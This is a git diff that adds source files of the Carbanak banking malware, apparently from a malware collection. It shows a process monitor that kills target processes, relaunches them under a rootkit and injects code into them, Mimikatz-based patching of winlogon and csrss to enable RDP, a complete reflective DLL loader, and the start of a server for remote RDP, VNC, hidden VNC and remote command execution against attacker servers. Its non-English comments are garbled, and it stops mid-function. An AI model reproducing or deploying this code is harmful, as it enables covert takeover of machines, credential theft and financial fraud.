//���������� �� �����, ������ ���������� pid+const uint PROCESS_FOR_RDP = 0x00000004; //������� ��� ��� ��������++//��������������� � true ���� ����� �������� ������ ��������� ������� ���������+bool updateKlgConfig = false;+int RDP; //0 - ��� �� �������, 1 - ����� �������� ���� ���, 2 - ����� ��� �������+bool monitoringStop = false;++const char* winlogonExe = _CT_("winlogon.exe");+const char* csrssExe = _CT_("csrss.exe");++DWORD WINAPI Monitoring( void * );+void AddProcessesForRDP( StringArray& sa, Vector<uint>& flags );++bool Start()+{+ RDP = 0;+ MonProcessServer* monServer = new MonProcessServer();+ monServer->Reg();+ monServer->StartAsync();+ return RunThread( Monitoring, 0 );+}++static void GetMonitoringProcesses( StringArray& sa, Vector<uint>& flags )+{+ Mem::Data klgData;+ //���������� �������� �� �������� ����� �������+ for( int i = 0; i < 10; i++ )+ {+ if( ManagerServer::GetSharedFile(_CS_("klgconfig"), klgData ) )+ break;+ Delay(1000);+ }+ StringBuilder cfg(klgData);+ StringArray processes = cfg.Split( '\n' );+ sa.DelAll();+ flags.DelAll();+ for( int i = 0; i < processes.Count(); i++ )+ {+ StringArray masks = processes[i]->Split(';');+ if( masks.Count() > 0 && !masks[0]->IsEmpty() )+ {+ DbgMsg( "�������� ���������� �������� '%s' %d", masks[0]->c_str(), masks[0]->Len() );+ sa.Add(masks[0]);+ int flag = 0;+ if( Config::state & NOT_DIRECT_INJECT )+ flag |= RUN_WITH_ROOTKIT;+ flags.Add(flag);+ }+ }+#ifdef ON_IFOBS+ StringBuilder ifobs;+ ifobs = DECODE_STRING(IFobs::nameProcess);+ sa.Add(ifobs);+ flags.Add(RUN_WITH_ROOTKIT);+#endif+ if( RDP == 2 ) AddProcessesForRDP( sa, flags );+ updateKlgConfig = false;+}++void AddProcessesForRDP( StringArray& sa, Vector<uint>& flags )+{+ StringBuilder name;+ name = DECODE_STRING(winlogonExe);+ sa.Add(name);+ flags.Add( ONLY_ADD_PID | PROCESS_FOR_RDP );+ DbgMsg( "�������� ��� ����������� ������� %s", name.c_str() );+ name = DECODE_STRING(csrssExe);+ sa.Add(name);+ flags.Add( ONLY_ADD_PID | PROCESS_FOR_RDP );+ DbgMsg( "�������� ��� ����������� ������� %s", name.c_str() );+}++static bool KillCallback( Process::ProcessInfo& pi, void* tag )+{+ StringArray& processes = *(StringArray*)tag;+ for( int i = 0; i < processes.Count(); i++ )+ {+ if( pi.fileName.IndexOf(processes[i]) >= 0 )+ {+ DbgMsg( "Killed '%s'", pi.fileName.c_str() );+ Process::Kill( pi.pid, 5000 );+ }+ }+ return false;+}++static void PatchProcessForRDP( StringBuilder& nameProcess, DWORD pid )+{+ DbgMsg( "������� �������� %s, pid: %d", nameProcess.c_str(), pid );+#ifdef ON_MIMIKATZ+ if( nameProcess == DECODE_STRING(winlogonExe) )+ MimikatzPatchWinlogon(pid);+ else if( nameProcess == DECODE_STRING(csrssExe) )+ MimikatzPatchCsrss(pid);+#endif+}++struct DataMonitoring+{+ StringArray* processes;+ Vector<uint>* flags;+ Vector<DWORD>* pids;+ Vector<bool>* actualPids;+};++static bool MonitoringCallback( Process::ProcessInfo& pi, void* tag )+{+ DataMonitoring* data = (DataMonitoring*)tag;+ //�������, ����� � ��� ��� �����+ int j = 0;+ for( ; j < data->pids->Count(); j++ )+ if( (*data->pids)[j] == pi.pid ) //��� �����������+ break;+ if( j < data->pids->Count() )+ {+ (*data->actualPids)[j] = true;+ }+ else+ {+ for( int i = 0; i < data->processes->Count(); i++ )+ {+ if( pi.fileName.IndexOf((*data->processes)[i]) >= 0 ) //����� �������+ {+ if( j >= data->pids->Count() ) //���������� ����� �������+ {+ DbgMsg( "�������� ������� '%s', pid: %d", pi.fileName.c_str(), pi.pid );+ uint& flag = data->flags->Get(i);+ if( (flag & (RUN_WITH_ROOTKIT | ONLY_ADD_PID)) == RUN_WITH_ROOTKIT )+ {+ StringBuilder cmdLine;+ if( !Process::GetCommandLine( pi.pid, cmdLine ) )+ cmdLine = pi.fullPath;+ Process::Kill( pi.pid, 5000 );+ flag |= ONLY_ADD_PID; //����� ����� ����������, ����� ������ ��������� � ������ �����+ //��������� �����, ����� ������������ ��������+ Sandbox::Exec( cmdLine, Sandbox::INIT_ROOTKIT, MAIN_USER );+ }+ else+ {+ data->pids->Add(pi.pid);+ data->actualPids->Add(true);+ if( flag & PROCESS_FOR_RDP )+ {+ PatchProcessForRDP( pi.fileName, pi.pid );+ }+ else+ {+ if( (flag & ONLY_ADD_PID) == 0 )+ {+#ifndef WIN64+ InjectIntoProcess2( pi.pid, RootkitEntry );+ //InjectToProcessRootkit( pi.pid, RootkitEntry );+#endif+ }+ else+ flag ^= ONLY_ADD_PID;+ }+ }+ }+ break;+ }+ }+ }+ return false;+}++DWORD WINAPI Monitoring( void* )+{+ updateKlgConfig = false;+ DbgMsg( "������� ���������� ���������" );+ StringArray monProcesses;+ Vector<uint> flags;+ for( int i = 0; i <= 20; i++ )+ {+ if( updateKlgConfig || i == 20 )+ {+ GetMonitoringProcesses( monProcesses, flags );+ break;+ }+ Delay(500);+ }+// if( monProcesses.Count() == 0 ) return 0;+ //������� �������� ������� ���������� ����������+ Process::ListProcess( KillCallback, &monProcesses );+ //������ � ������� ����������� �������� ������� ��� �������� (����������� ����)+ Vector<DWORD> runnedPids; //���� ��������� � ������� ��� �������������+ Vector<bool> actualPids; //����� ��� ��������� �������+ DataMonitoring data;+ data.processes = &monProcesses;+ data.flags = &flags;+ data.pids = &runnedPids;+ data.actualPids = &actualPids;+ monitoringStop = false;+ while( !monitoringStop )+ {+ for( int i = 0; i < actualPids.Count(); i++ )+ actualPids[i] = false;+ Process::ListProcess( MonitoringCallback, &data );+ int i = 0;+ while( i < actualPids.Count() )+ {+ if( !actualPids[i] ) //������� ��� ������+ {+ DbgMsg("������� � pid: %d ������", runnedPids[i] );+ runnedPids.Del(i);+ actualPids.Del(i);+ }+ else+ i++;+ }+ if( updateKlgConfig )+ {+ GetMonitoringProcesses( monProcesses, flags );+ }+ if( RDP == 1 )+ {+ AddProcessesForRDP( monProcesses, flags );+ RDP = 2;+ }+ Delay(100);+ }+ return 0;+}++}++///////////////////////////////////////////////////////////////////////////////////////////////////++MonProcessServer::MonProcessServer()+{+}++MonProcessServer::~MonProcessServer()+{+}++int MonProcessServer::Handler( Pipe::Msg* msgIn, void** msgOut )+{+ int res = 0;+ switch( msgIn->cmd )+ {+ case CmdUpdateKlg:+ MonitoringProcesses::updateKlgConfig = true;+ break;+ case CmdRDP:+ if( MonitoringProcesses::RDP == 0 ) MonitoringProcesses::RDP = 1;+ break;+ }+ return res;+}++void MonProcessServer::Disconnect()+{+ MonitoringProcesses::monitoringStop = true;+ DbgMsg( "���������� ��������� ��������" );+}++bool MonProcessServer::Reg()+{+ return ManagerServer::RegMonitoringProcesses(this);+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/ReflectiveLoader.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/ReflectiveLoader.cppnew file mode 100644index 0000000..f83a291--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/ReflectiveLoader.cpp@@ -0,0 +1,464 @@+#include "core\core.h"+#include <intrin.h>++#ifdef BOT_DLL++#ifdef WIN64+#define WIN_X64+#else+#define WIN_X86+#endif++// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value+HINSTANCE hAppInstance = NULL;+//===============================================================================================//+#pragma intrinsic( _ReturnAddress )+// This function can not be inlined by the compiler or we will not get the address we expect. Ideally+// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of+// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics+// available (and no inline asm available under x64).+__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }+//===============================================================================================//++#define HASH_KEY 13+#define KERNEL32DLL_HASH 0x6A4ABC5B+#define NTDLLDLL_HASH 0x3CFA685D++#define LOADLIBRARYA_HASH 0xEC0E4E8E+#define GETPROCADDRESS_HASH 0x7C0DFCAA+#define VIRTUALALLOC_HASH 0x91AFCA54+#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8++#define DEREF( name )*(UINT_PTR *)(name)+#define DEREF_64( name )*(DWORD64 *)(name)+#define DEREF_32( name )*(DWORD *)(name)+#define DEREF_16( name )*(WORD *)(name)+#define DEREF_8( name )*(BYTE *)(name)++typedef struct+{+ WORD offset:12;+ WORD type:4;+} IMAGE_RELOC, *PIMAGE_RELOC;++typedef struct _LDR_DATA_TABLE_ENTRY2+{+ //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.+ LIST_ENTRY InMemoryOrderModuleList;+ LIST_ENTRY InInitializationOrderModuleList;+ PVOID DllBase;+ PVOID EntryPoint;+ ULONG SizeOfImage;+ UNICODE_STRING FullDllName;+ UNICODE_STRING BaseDllName;+ ULONG Flags;+ SHORT LoadCount;+ SHORT TlsIndex;+ LIST_ENTRY HashTableEntry;+ ULONG TimeDateStamp;+} LDR_DATA_TABLE_ENTRY2, *PLDR_DATA_TABLE_ENTRY2;+++#pragma intrinsic( _rotr )+__forceinline DWORD ror( DWORD d )+{+ return _rotr( d, HASH_KEY );+}++__forceinline DWORD hash( char * c )+{+ register DWORD h = 0;+ do+ {+ h = ror( h );+ h += *c;+ } while( *++c );++ return h;+}++typedef BOOL ( WINAPI *DllEntryProc )( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved );++__declspec( dllexport ) ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )+{+ // the functions we need+ typeLoadLibraryA pLoadLibraryA = NULL;+ typeGetProcAddress pGetProcAddress = NULL;+ typeVirtualAlloc pVirtualAlloc = NULL;+ typeNtFlushInstructionCache pNtFlushInstructionCache = NULL;++ USHORT usCounter;++ // the initial location of this image in memory+ ULONG_PTR uiLibraryAddress;+ // the kernels base address and later this images newly loaded base address+ ULONG_PTR uiBaseAddress;++ // variables for processing the kernels export table+ ULONG_PTR uiAddressArray;+ ULONG_PTR uiNameArray;+ ULONG_PTR uiExportDir;+ ULONG_PTR uiNameOrdinals;+ DWORD dwHashValue;++ // variables for loading this image+ ULONG_PTR uiHeaderValue;+ ULONG_PTR uiValueA;+ ULONG_PTR uiValueB;+ ULONG_PTR uiValueC;+ ULONG_PTR uiValueD;+ ULONG_PTR uiValueE;++ // STEP 0: calculate our images current base address+// __asm int 3+ // we will start searching backwards from our callers return address.+ uiLibraryAddress = caller();++ // loop through memory backwards searching for our images base address+ // we dont need SEH style search as we shouldnt generate any access violations with this+ while( TRUE )+ {+ if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )+ {+ uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;+ // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),+ // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.+ if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )+ {+ uiHeaderValue += uiLibraryAddress;+ // break if we have found a valid MZ/PE header+ if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )+ break;+ }+ }+ uiLibraryAddress--;+ }++ // STEP 1: process the kernels exports for the functions our loader needs...++ // get the Process Enviroment Block+#ifdef WIN_X64+ uiBaseAddress = __readgsqword( 0x60 );+#else+#ifdef WIN_X86+ uiBaseAddress = __readfsdword( 0x30 );+#endif+#endif++ // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx+ uiBaseAddress = (ULONG_PTR)((PPEB)uiBaseAddress)->Ldr;++ // get the first entry of the InMemoryOrder module list+ uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->ModuleListMemoryOrder.Flink;+ while( uiValueA )+ {+ // get pointer to current modules name (unicode string)+ uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY2)uiValueA)->BaseDllName.Buffer;+ // set bCounter to the length for the loop+ usCounter = ((PLDR_DATA_TABLE_ENTRY2)uiValueA)->BaseDllName.Length;+ // clear uiValueC which will store the hash of the module name+ uiValueC = 0;++ // compute the hash of the module name...+ do+ {+ uiValueC = ror( (DWORD)uiValueC );+ // normalize to uppercase if the madule name is in lowercase+ if( *((BYTE *)uiValueB) >= 'a' )+ uiValueC += *((BYTE *)uiValueB) - 0x20;+ else+ uiValueC += *((BYTE *)uiValueB);+ uiValueB++;+ } while( --usCounter );++ // compare the hash with that of kernel32.dll+ if( (DWORD)uiValueC == KERNEL32DLL_HASH )+ {+ // get this modules base address+ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY2)uiValueA)->DllBase;++ // get the VA of the modules NT Header+ uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;++ // uiNameArray = the address of the modules export directory entry+ uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];++ // get the VA of the export directory+ uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );++ // get the VA for the array of name pointers+ uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );++ // get the VA for the array of name ordinals+ uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );++ usCounter = 3;++ // loop while we still have imports to find+ while( usCounter > 0 )+ {+ // compute the hash values for this function name+ dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );++ // if we have found a function we want we get its virtual address+ if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )+ {+ // get the VA for the array of addresses+ uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );++ // use this functions name ordinal as an index into the array of name pointers+ uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );++ // store this functions VA+ if( dwHashValue == LOADLIBRARYA_HASH )+ pLoadLibraryA = (typeLoadLibraryA)( uiBaseAddress + DEREF_32( uiAddressArray ) );+ else if( dwHashValue == GETPROCADDRESS_HASH )+ pGetProcAddress = (typeGetProcAddress)( uiBaseAddress + DEREF_32( uiAddressArray ) );+ else if( dwHashValue == VIRTUALALLOC_HASH )+ pVirtualAlloc = (typeVirtualAlloc)( uiBaseAddress + DEREF_32( uiAddressArray ) );++ // decrement our counter+ usCounter--;+ }++ // get the next exported function name+ uiNameArray += sizeof(DWORD);++ // get the next exported function name ordinal+ uiNameOrdinals += sizeof(WORD);+ }+ }+ else if( (DWORD)uiValueC == NTDLLDLL_HASH )+ {+ // get this modules base address+ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY2)uiValueA)->DllBase;++ // get the VA of the modules NT Header+ uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;++ // uiNameArray = the address of the modules export directory entry+ uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];++ // get the VA of the export directory+ uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );++ // get the VA for the array of name pointers+ uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );++ // get the VA for the array of name ordinals+ uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );++ usCounter = 1;++ // loop while we still have imports to find+ while( usCounter > 0 )+ {+ // compute the hash values for this function name+ dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );++ // if we have found a function we want we get its virtual address+ if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )+ {+ // get the VA for the array of addresses+ uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );++ // use this functions name ordinal as an index into the array of name pointers+ uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );++ // store this functions VA+ if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )+ pNtFlushInstructionCache = (typeNtFlushInstructionCache)( uiBaseAddress + DEREF_32( uiAddressArray ) );++ // decrement our counter+ usCounter--;+ }++ // get the next exported function name+ uiNameArray += sizeof(DWORD);++ // get the next exported function name ordinal+ uiNameOrdinals += sizeof(WORD);+ }+ }++ // we stop searching when we have found everything we need.+ if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )+ break;++ // get the next entry+ uiValueA = DEREF( uiValueA );+ }++ // STEP 2: load our image into a new permanent location in memory...++ // get the VA of the NT Header for the PE to be loaded+ uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;++ // allocate all the memory for the DLL to be loaded into. we can load at any address because we will+ // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.+ uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );++ // we must now copy over the headers+ uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;+ uiValueB = uiLibraryAddress;+ uiValueC = uiBaseAddress;++ while( uiValueA-- )+ *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;++ // STEP 3: load in all of our sections...++ // uiValueA = the VA of the first section+ uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );++ // itterate through all sections, loading them into memory.+ uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;+ while( uiValueE-- )+ {+ // uiValueB is the VA for this section+ uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );++ // uiValueC if the VA for this sections data+ uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );++ // copy the section over+ uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;++ while( uiValueD-- )+ *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;++ // get the VA of the next section+ uiValueA += sizeof( IMAGE_SECTION_HEADER );+ }++ // STEP 4: process our images import table...++ // uiValueB = the address of the import directory+ uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];+ if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress )+ {+ // we assume their is an import table to process+ // uiValueC is the first entry in the import table+ uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );++ // itterate through all imports+ while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )+ {+ // use LoadLibraryA to load the imported module into memory+ uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );++ // uiValueD = VA of the OriginalFirstThunk+ uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );++ // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)+ uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );++ // itterate through all imported functions, importing by ordinal if no name present+ while( DEREF(uiValueA) )+ {+ // sanity check uiValueD as some compilers only import by FirstThunk+ if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )+ {+ // get the VA of the modules NT Header+ uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;++ // uiNameArray = the address of the modules export directory entry+ uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];++ // get the VA of the export directory+ uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );++ // get the VA for the array of addresses+ uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );++ // use the import ordinal (- export ordinal base) as an index into the array of addresses+ uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );++ // patch in the address for this imported function+ DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );+ }+ else+ {+ // get the VA of this functions import by name struct+ uiValueB = ( uiBaseAddress + DEREF(uiValueA) );++ // use GetProcAddress and patch in the address for this imported function+ DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );+ }+ // get the next imported function+ uiValueA += sizeof( ULONG_PTR );+ if( uiValueD )+ uiValueD += sizeof( ULONG_PTR );+ }++ // get the next import+ uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );+ }+ }++ // STEP 5: process all of our images relocations...++ // calculate the base address delta and perform relocations (even if we load at desired image base)+ uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;++ // uiValueB = the address of the relocation directory+ uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];++ // check if their are any relocations present+ if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )+ {+ // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)+ uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );++ // and we itterate through all entries...+ while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )+ {+ // uiValueA = the VA for this relocation block+ uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );++ // uiValueB = number of entries in this relocation block+ uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );++ // uiValueD is now the first entry in the current relocation block+ uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);++ // we itterate through all the entries in the current block...+ while( uiValueB-- )+ {+ // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.+ // we dont use a switch statement to avoid the compiler building a jump table+ // which would not be very position independent!+ if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )+ *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;+ else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )+ *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;+ else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )+ *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);+ else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )+ *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);++ // get the next entry in the current relocation block+ uiValueD += sizeof( IMAGE_RELOC );+ }++ // get the next entry in the relocation directory+ uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;+ }+ }++ // STEP 6: call our images entry point++ // uiValueA = the VA of our newly loaded DLL/EXE's entry point+ uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );++ // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.+ pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );++ // call our respective entry point, fudging our hInstance value+ ((DllEntryProc)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );++ // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.+ return uiValueA;+}++#endif //BOT_DLLdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/VideoServer.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/VideoServer.cppnew file mode 100644index 0000000..29f6af0--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/VideoServer.cpp@@ -0,0 +1,535 @@+#include "main.h"+#include "VideoServer.h"+#include "core\injects.h"+#include "core\PipeSocket.h"+#include "WndRec\manager.h"+#include "WndRec\socks.h"+#include "WndRec\video.h"+#include "WndRec\cmdexec.h"+#include "WndRec\file.h"+#include "manager.h"+#include "core\cab.h"+#include "task.h"+#include "other.h"++namespace VideoServer+{++bool StartRDP();+//���� tag ������, �� �� ��������� ������ �������+bool StartVNC( AddressIpPort& ipp, bool hvnc, void* tag = 0, int c_tag = 0 );+bool StartServerTunnel( int port, const char* pipeName );+static bool LoadPluginRequest( const char* namePlugin, Pipe::Msg* msgIn ); //���������� ������ �� ������� �������+static bool LoadPluginLoaded( uint id, void* data, int c_data ); //���������� ������ ���������� ���������+static void HandlerSendFolderPack( Pipe::AutoMsg msg, DWORD tag );+static void HandlerCreateLog( Pipe::AutoMsg msg, DWORD tag );++WndRec::ServerData* server = 0;+bool isMimikatzPathRDP = false; //true ���� ������� ��� ��� ��������++struct WaitPlugin+{+ uint id; //�� �� �������� ������� ������, ���� = 0, �� ������ ��������+ uint time; //����� ����� ��� �������� ������, ���� ������ ����� �� ��������, �� ������� ��� ������ ���������+ char pipe[32]; //��� ���� ������, ���� �������� ������+ Pipe::typeReceiverPipeAnswer func; //������� ������� ���������� ���������� ����� �������� �������+ DWORD tag;+};++const int MaxWaitPlugins = 4;+WaitPlugin waitPlugins[MaxWaitPlugins];+CRITICAL_SECTION lockPlugins;++int Init()+{+ server = 0;+ isMimikatzPathRDP = false;+ Mem::Set( waitPlugins, sizeof(waitPlugins), 0 );+ CriticalSection::Init(lockPlugins);+ return true;+}++void Release()+{+}++static DWORD WINAPI CallbackCmd( WndRec::ServerData* server, DWORD cmd, uint id, char* inData, int lenInData, char* outData, int szOutData, DWORD* lenOutData )+{+ DWORD res = 0;+ switch( cmd )+ {+ case 21: //RDP+ outData[0] = StartRDP();+ res = 1;+ break;+ case 22: //VNC+ case 28:+ case 41: //HVNC+ if( lenInData >= 2 )+ {+ AddressIpPort ipp;+ void* tag = 0;+ int c_tag = 0;+ bool startPortForward = true;+ if( lenInData == 2 )+ {+ ipp.ip[0] = 0;+ ipp.port = *((ushort*)inData);+ if( ipp.port == 0 ) //��� ������ ������������ � �������, ��� ����� ������������� �������� ����� ������ ����� �������� �������+ {+ Str::Copy( ipp.ip, server->ip[server->currIP].ip );+ ipp.port = server->ip[server->currIP].port;+ tag = WndRec::CreateRawPacket( 3, WndRec::ID_BC_PORT, Config::UID, Str::Len(Config::UID), c_tag );+ *((byte*)tag) = 0xff; //������������� ��� ��� ���+ *((ushort*)((byte*)tag + 1)) = c_tag - 3; //������ ������������ ������ �������+ startPortForward = false; //�� ����� ��������� ������� �������� ������ PortForward+ }+ }+ else+ ipp.Parse((char*)inData);+ if( StartVNC( ipp, (cmd == 41 ? true : false), tag, c_tag ) )+ {+ outData[0] = startPortForward ? 2 : 1;+ }+ else+ outData[0] = 0;+ }+ else+ outData[0] = 0;+ res = 1;+ break;+ case 27: //������� ����+ if( lenInData > 2 )+ {+ int len = (inData[1] << 8) | inData[0];+ ManagerServer::CmdExec( inData + 2, len );+ }+ break;+ case WndRec::ID_CONNECTED:+ PipeClient::Send( Config::nameManager, ManagerServer::CmdVideoServerConnected, inData, lenInData );+ break;+ case WndRec::ID_PLUGIN:+ LoadPluginLoaded( id, inData, lenInData );+ break;+ }+ return res;+}++void Run( bool async )+{+ StringBuilderStack<MaxFlagsVideoServer> textFlags = DECODE_STRING(Config::FlagsVideoServer);+ int flags = 0;+ if( textFlags[1] == '1' ) flags |= 1; //��������� � ������ ������+ //��������� ����� ����� ������� ��������� � ����� ������+ char textDowntime[8];+ Str::Copy( textDowntime, textFlags.c_str() + 2, 5 );+ int downtime = Str::ToInt(textDowntime);+ //��������� ������ ��������+#ifdef IP_SERVER_EXTERNAL_IP+ StringBuilderStack<MaxSizeIpVideoServer> ipServers = Config::ExternalIP;+ flags |= 8; //��������� ������ ��� ������ ���������� �����+#else+ StringBuilderStack<MaxSizeIpVideoServer> ipServers = DECODE_STRING(Config::VideoServers);+#endif+ StringArray servers = ipServers.Split('|');+ server = 0;+ for( int i = 0; i < servers.Count(); i++ )+ {+ char* ip = servers[i]->c_str();+ int p = 